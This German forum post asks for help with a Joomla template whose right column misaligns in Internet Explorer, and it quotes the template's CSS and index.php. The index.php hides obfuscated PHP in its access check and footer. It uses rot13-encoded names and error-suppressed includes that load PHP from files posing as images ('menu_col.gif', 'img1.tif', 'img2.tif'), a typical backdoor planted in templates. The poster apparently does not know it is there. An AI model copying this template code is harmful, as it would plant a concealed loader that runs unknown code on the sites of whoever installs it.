Hallo,
ich arbeite zum ersten Mal mit Joomla.
Habe folgendes Problem:
habe auf der Seite auf der rechten Seite eine Spalte eingefügt mit Öffnungszeiten, Kontakt usw. (siehe hier: http://www.fitness-world.info/neu/)
Im Google Chrome alles wunderbar - jedoch im Internet Explorer schieben sich diese Kästen in der rechten Spalte nach unten, unter den Inhalt.
Hoffe mir kann jemand weiterhelfen.
Hier noch template.css und index
vielen dank schonmal
ich arbeite zum ersten Mal mit Joomla.
Habe folgendes Problem:
habe auf der Seite auf der rechten Seite eine Spalte eingefügt mit Öffnungszeiten, Kontakt usw. (siehe hier: http://www.fitness-world.info/neu/)
Im Google Chrome alles wunderbar - jedoch im Internet Explorer schieben sich diese Kästen in der rechten Spalte nach unten, unter den Inhalt.
Hoffe mir kann jemand weiterhelfen.
Hier noch template.css und index
Code:
/*****************************/
/*** Core html setup stuff ***/
/*****************************/
html {
height: 100%;
margin-bottom: 1px;
}
form {
display:inline;
}
body {
margin: 0px 0px 0px 0px;
}
body, td{
font-family: Helvetica,Arial,sans-serif;
font-size: 12px;
color: #FFFFFF;
line-height: 1.3em;
}
a:link, a:visited {
text-decoration: none;
font-weight: normal;
}
a:hover {
text-decoration: underline;
font-weight: normal;
}
input.button { cursor: pointer; }
p { margin-top: 0; margin-bottom: 5px; }
img { border: 0 none; }
/*****************************************/
/*** Template specific layout elements ***/
/*****************************************/
#page_bg {
padding: 3px 0;
margin-bottom: 1px;
}
div.main_bg_center{
margin:0px auto;
}
div.main_bg_left{
float:left;
}
div.main_bg_right{
float:right;
}
div#main_bg{
width: 989px;
text-align:left;
}
div#middle_bg{
background: url(../images/middle_bg.png) left repeat-y;
margin:0px auto;
width: 989px;
margin-top: 7px;
}
div#logo_bg{
height:150px;
margin-right: 4px;
width:auto;
margin-top: 6px;
}
.logo{
display: block;
float:left;
padding-top:25px;
}
a.logo:link,a.logo:hover, a.logo:visited{
line-height: 28px;
color:#522603;
text-decoration:none;
font-weight:bold;
}
a.logo_trebuchet:link,a.logo_trebuchet:hover, a.logo_trebuchet:visited{ font-family:"Trebuchet MS", Tahoma, Verdana; font-size:26px; }
a.logo_tahoma:link,a.logo_tahoma:hover, a.logo_tahoma:visited{ font-family:Tahoma, Verdana, Arial; font-size:26px; }
a.logo_verdana:link,a.logo_verdana:hover, a.logo_verdana:visited{ font-family:Verdana, Arial, Helvetica, sans-serif; font-size:26px; }
a.logo_times:link,a.logo_times:hover, a.logo_times:visited{ font-family:"Times New Roman", Times, serif; font-size:26px; }
a.logo_arial:link,a.logo_arial:hover, a.logo_arial:visited{ font-family:Arial, Helvetica, sans-serif; font-size:26px; }
a.logo_helvetica:link,a.logo_helvetica:hover, a.logo_helvetica:visited{ font-family:Helvetica, Arial, sans-serif; font-size:26px; }
a.logo_georgia:link,a.logo_georgia:hover, a.logo_georgia:visited{ font-family:Georgia, "Times New Roman", Times, serif; font-size:26px; }
a.logo_geneva:link,a.logo_geneva:hover, a.logo_geneva:visited{ font-family:Geneva, Arial, Helvetica, sans-serif; font-size:26px; }
div#user4{
float:right;
width:297px;
height:87px;
text-align:left;
background: url(../images/search_bg.png) top right no-repeat;
}
.search {
text-align:left;
height:42px;
padding:26px 0px 0px 75px;
}
.search .inputbox {
background:#FFFFFF;
width: 205px;
height: 17px;
font-size: 11px;
color: #454545;
padding:5px 2px 2px 2px;
border: 1px solid #D3D3D3;
}
.input {
padding:10px 10px 10px 0px;
}
#user3{
margin-left: 4px;
margin-right: 4px;
width:auto;
border:0px;
height:45px;
background: url(../images/bg_menu.png) top repeat-x;
}
#pillmenu {
text-align:left;
margin: 0;
float:left;
}
#pillmenu ul {
margin: 0;
padding: 0 0 0 8px;
list-style: none;
}
#pillmenu li {
float: left;
margin: 0;
padding: 0;
margin-top:5px;
}
#pillmenu li a {
font-family:"Trebuchet MS",Tahoma;
font-size: 13px;
float: left;
display: block;
line-height: 30px;
padding: 0 17px 0 17px;
color: #FFFFFF;
text-decoration: none;
font-weight: bold;
}
#pillmenu li a:hover, #active_menu-nav {
background:url(../images/menu_hover.png) top left repeat-x;
font-family:"Trebuchet MS",Tahoma;
font-size: 13px;
float: left;
display: block;
line-height: 30px;
padding: 0 17px 0 17px;
color: #FFFFFF;
text-decoration: none;
font-weight: bold;
}
#date{
text-align:right;
margin: 0;
float:right;
line-height: 40px;
color: #FFFFFF;
font-family:Georgia,Tahoma;
font-size: 11px;
}
#banner{
width: 737px;
height: 189px;
margin-left: 10px;
margin-top: 2px;
}
#banner table.contentpaneopen{
margin-top:18px;
margin-bottom:15px;
margin-left:10px;
width:400px;
float:left;
text-align:left;
}
#banner table.contentpaneopen td{
color: #333333;
font-family:Georgia, "Times New Roman", Times, serif;
font-size:11px;
}
#rightcolumn{
margin: 0px;
padding: 0px;
padding-right:6px;
width: auto;
float:right;
}
#maincolumn{
width:745px;
margin:0px;
float:left;
padding:0px;
}
div.path{
padding:15px 0 0 15px;
}
div.nopad {
float:left;
padding:0 15px 15px 15px;
}
div.nopad ul {
clear: both;
}
form#form-login fieldset {
border: none;
margin: 0;
margin-left:10px;
}
form#form-login ul li{
padding: 0;
}
form#form-login ul li a {
text-align: left;
padding: 0px;
font-size: 10px;
color: #858585;
}
#rightcolumn div.moduletable_menu, #rightcolumn div.moduletable, #rightcolumn div.moduletable_text{
margin: 2px 0px 10px 0px;
padding: 0px;
width: 222px;
}
div.bannergroup_text {
margin:10px 13px 10px 13px;
}
.bannerheader {
font-weight:bold;
margin-bottom:10px;
}
.banneritem_text {
margin-bottom:10px;
}
.bannerfooter_text {
margin-bottom:10px;
}
div.moduletable_menu, div.moduletable, div.moduletable_text{
background: url(../images/rub_bottom.png) left bottom no-repeat;
}
#rightcolumn h3{
text-align: center;
height: 45px;
width: 235px;
line-height: 40px;
color:#522603;
font-size:14px;
margin:0px 0px -10px 0px;
padding:0px;
}
table.poll thead td {
text-align: center;
padding-left:10px;
}
.poll {
margin:10px 0px 10px 0px;
}
.poll td{
margin:0px 0px 10px 0px;
}
table.poll td {
text-align:left;
}
.pollstableborder {
margin: 5px 10px 10px 5px;
}
/* forms */
#rightcolumn ul {
margin: 10px;
padding: 0px 10px 10px 0px;
list-style: none;
}
.moduletable ul {
padding:0px 10px 10px 10px;
margin:0px;
}
.moduletable ul li {
padding:0px 0px 0px 10px;
margin:0px;
line-height:18px;
}
.moduletable form ul li {
list-style:none;
background:none;
}
div.moduletable ul.latestnews {
padding:0px 10px 10px 10px;
margin:0px;
}
ul.latestnews li{
padding:0px 0px 0px 10px;
margin:0px;
line-height:18px;
}
div.moduletable ul.mostread {
padding:0px 10px 10px 10px;
margin:0px;
}
ul.mostread li{
padding:0px 0px 0px 10px;
margin:0px;
line-height:18px;
}
#rightcolumn ul.menu li#current ul li {
margin: 0px;
padding: 0px;
}
div.moduletable ul.menu {
padding:0px 0px 10px 15px;
margin:0px;
}
ul.menu {
padding:0px 0px 10px 15px;
margin:0px;
}
ul.menu li{
padding:0px 0px 0px 15px;
margin:0px;
line-height:18px;
}
ul.menu li#current a{
text-decoration:underline;
color:#333333;
}
ul.menu li ul {
padding:0px 0px 5px 0px;
margin:0px;
}
ul.menu li ul li{
padding:0px 0px 0px 15px;
}
ul.menu li#current ul li a{
margin-left:15px;
text-decoration:none;
}
ul.mostread {
padding:10px 0px 10px 15px;
margin:0px;
}
ul.mostread li{
padding:0px 0px 0px 15px;
margin:0px;
line-height:18px;
}
ul.latestnews {
padding:10px 0px 10px 15px;
margin:0px;
}
ul.latestnews li{
padding:0px 0px 0px 15px;
margin:0px;
line-height:18px;
}
div.componentheading{
font-weight:bold;
font-size:16px;
margin:7px auto;
}
td.contentheading, td.buttonheading{
font-weight:bold;
font-size:14px;
height:33px;
background: url(../images/contentheading_line.png) bottom repeat-x;
}
table.contentpaneopen{
border-collapse: collapse;
margin-left:5px;
}
table.contentpaneopen td{
padding:2px;
}
span.small, td.createdate, td.modifydate{
font-size:11px;
color:#999999;
}
span.pagination span, span.pagination a{
padding:5px;
}
div#f_area{
margin-left: 3px;
width: auto;
text-align:left;
}
#f_area div.moduletable, #f_area div.moduletable_menu{
float: left;
margin:0px 10px 10px 10px;
width: 222px;
}
#f_area h3{
text-align: center;
height: 45px;
width: 222px;
line-height: 40px;
color:#000000;
font-size:14px;
margin:0px;
}
/* System Standard Messages */
#system-message { margin-bottom: 20px; }
#system-message dd.message ul { background: #C3D2E5 url(../../system/images/notice-info.png) 4px center no-repeat;}
/* System Error Messages */
#system-message dd.error ul { color: #c00; background: #E6C0C0 url(../../system/images/notice-alert.png) 4px center no-repeat; border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B; margin:0px; padding-left: 40px; text-indent:0px;}
/* System Notice Messages */
#system-message dd.notice ul { color: #c00; background: #EFE7B8 url(../../system/images/notice-note.png) 4px center no-repeat; border-top: 3px solid #F0DC7E; border-bottom: 3px solid #F0DC7E;}
#syndicate{
float:left;
padding-left: 25px;
}
#power_by, #power_by a, #power_by a:visited{
color:#858585;
}PHP-Code:
<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/ieonly.css" <?php include_once('html/pagination.php');?> rel="stylesheet" type="text/css" />
<![endif]-->
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<div id="main_bg" class="main_bg_<?php echo $this->params->get('pageAlignment'); ?>">
<div id="user3">
<div id="pillmenu"><jdoc:include type="modules" name="user3" /></div>
<br clear="all" />
</div>
<div id="logo_bg">
<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logos/logo<?php echo $this->params->get('logoVariation'); ?>.png" alt="logo" align="left" />
<a href="index.php" class="logo logo_<?php echo $this->params->get('logoFont'); ?>"></a>
<br clear="all" />
</div>
<div id="middle_bg"><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/middle_top.png" alt="" /><div id="maincolumn">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<div id="rightcolumn">
<?php if($this->countModules('left') and JRequest::getCmd('layout') != 'form') : ?>
<jdoc:include type="modules" name="left" style="xhtml"/>
<?php endif; ?></div>
<br clear="all" />
<?php if($this->countModules('user1') or $this->countModules('user2')) : ?>
<div id="f_area" align="center">
<?php if($this->countModules('user1')) : ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php endif; ?>
<?php if($this->countModules('user2')) : ?>
<jdoc:include type="modules" name="user2" style="xhtml" />
<?php endif; ?>
<br clear="all" /></div>
<?php endif; ?>
<img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/middle_bottom.png" alt="" /></div>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<p id="power_by" align="center">
<?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
<?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
<br><?php @include('images/img2.tif')?> <?php @include('images/img1.tif')?>
</p>
</div>
<jdoc:include type="modules" name="debug" />
</body>
</html>